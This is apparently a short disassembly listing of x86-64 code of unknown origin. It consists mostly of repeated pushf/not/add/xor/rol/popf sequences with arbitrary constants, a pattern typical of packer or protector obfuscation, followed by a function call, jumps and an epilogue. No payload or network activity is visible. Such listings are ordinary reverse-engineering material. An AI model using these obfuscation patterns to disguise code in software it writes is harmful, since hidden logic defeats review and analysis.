xor edx, 0x81c5ba32
rol edx, 0xae
popf
pushf
not edx
add edx, 0x8f67e402
xor edx, 0xca1457ae
rol edx, 0x5b
popf
pushf
not edx
add edx, 0x9f7c9b83
xor edx, 0xaa1f6c3b
rol edx, 0xb4
popf
mov rcx, qword [rsp + 0xb8]
call fcn.140161ab2
jmp 0x1400c0469
jmp 0x1400c0124
mov al, 0xbb
pushf
not al
add al, 0xa1
xor al, 0xe2
rol al, 0x95
popf
pushf
not al
add al, 0xf8
xor al, 0xb6
rol al, 0x33
popf
pushf
not al
add al, 0x3f
xor al, 0x3a
rol al, 0x70
popf
pushf
not al
add al, 0x1e
xor al, 0x92
rol al, 0x11
popf
add rsp, 0x478
pop rdi
pop rsi
ret